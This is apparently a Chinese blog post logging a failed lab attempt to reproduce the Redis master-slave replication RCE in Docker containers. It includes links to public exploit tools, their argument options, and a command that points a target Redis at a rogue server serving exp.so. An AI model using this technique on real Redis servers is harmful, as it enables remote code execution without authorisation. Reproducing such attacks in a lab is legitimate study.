Redis 基於主從複製的 RCE 利用方式

失敗了不看也罷:

首先安裝了一個Ubuntu的虛擬機,然後在虛擬機裏安裝了Docker
安裝虛擬機的方法就不多說了,安裝Docker的方法見其官網https://docs.docker.com/install/linux/docker-ce/ubuntu/,英語不太好的同學可以使用翻譯插件或用QQ瀏覽器自帶的翻譯插件(如果其他瀏覽器也行,請留言補充,google也行,但需要你...)
Docker安裝好了,就去安裝兩臺Redis5.0的數據庫
sudo docker search redis5.0 搜索redis


sudo docker pull damonevking/redis5.0 拉取第三個基礎鏡像

sudo docker run -p 6379:6379 -d damonevking/redis5.0 redis-server映射端口並運行容器

-p, --publish ip:[hostPort]:containerPort | [hostPort:]containerPort
          Publish a container's port, or range of ports, to the host.
          將容器的端口或端口範圍發佈到主機。
這是-p參數的用法,
-d應該就是指定鏡像了,不過我沒找到😂


訪問:你的ip:6379,如下圖則搭建成功

然後再搭建一個,把主機端口16379映射到docker的6379上去
sudo docker run -p 16379:6379 -d damonevking/redis5.0 redis-server


看一下最簡單的直接利用別人腳本的方式,這個我失敗了

git clone https://github.com/Ridter/redis-rce.git去github上下載一個利用腳本
https://github.com/n0b0dyCN/redis-rogue-server下載一個so文件,然後放到redis-rce目錄下


但是好尷尬,這個腳本不支持改端口啊

    241parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
    242     parser.add_argument("-p", "--rport", dest="rport", type=int,
    243                         help="target redis port, default 6379", default=6379)
    244     parser.add_argument("-L", "--lhost", dest="lhost", type=str,
    245                         help="rogue server ip", required=True)
    246     parser.add_argument("-P", "--lport", dest="lport", type=int,
    247                         help="rogue server listen port, default 21000", default=21000)
    248     parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp_lin.so')
    249     parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
    250     parser.add_argument("-v", "--verbose", action="store_true", help="show more info", default=False)
    251     options = parser.parse_args()

看了一下源碼,好吧可以指定端口,原來是我的姿勢不對
我關機重啓了,不記得鏡像名稱了啊,->查看你有哪些鏡像的命令爲sudo docker images
好像不需要開兩個鏡像,用代碼的話,一個目標redis就好了
python3 redis-rce.py -r 172.17.0.2 -L 127.0.0.1 -f exp.so自己改ip地址


但我不成功啊

再換個別人的腳本,然後還是不行啊,這都是最後一步了啊,爲啥不行啊

用tcpdump可以看到,確實把exp.so寫進去了啊
難受


開始手動的方法吧

這次需要兩臺redis了,按照前面的方法,開兩臺redis吧。


殺死docker進程的命令爲sudo docker kill xxxxxxxxx爲sudo docker ps命令列出來進程序號,只需要輸入前幾位就行
好了,先下載一個redis的客戶端
sudo apt install redis-tools
然後連接上16379那臺,作爲從機

sanqiushu@sanqiushu-VirtualBox:~/redis-rogue-server-master$ redis-cli -p 16379
127.0.0.1:16379> SLAVEOF 127.0.0.1 6379
OK

出現了,不行怪,別人可以我不行,主redis set一個值,從redis get不到,難受
經過一番折騰,發現了,SLAVEOF這個ip有問題,要寫docker容器的ip
如何查看docker容器的ip見https://blog.csdn.net/sannerlittle/article/details/77063800

127.0.0.1:16379> SLAVEOF 172.17.0.2 6379
OK
127.0.0.1:16379> get hi
"hi"
127.0.0.1:16379> 

終於好了,也許上面那個用別人代碼不行也是這個原因吧
如果我們想解除主從關係可以執行SLAVEOF NO ONE
又試了一下別人代碼


這是抓包看到的,這都是啥啊,崩潰啦,還是不行啊
繼續手動吧
或許是我的redis沒有這幾個命令吧,
那進入docker容器,看看能不能安裝個命令吧
以下爲蒐集到的資料,但沒有實踐


感謝以下前輩:
如何進入Docker容器 https://blog.csdn.net/u010397369/article/details/41045251
Redis Modules: an introduction to the API https://redis.io/topics/modules-intro
Redis基於主從複製的RCE 4.x/5.x 復現https://www.cnblogs.com/paperpen/p/11178751.html
淺析Redis中SSRF的利用 https://xz.aliyun.com/t/5665

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章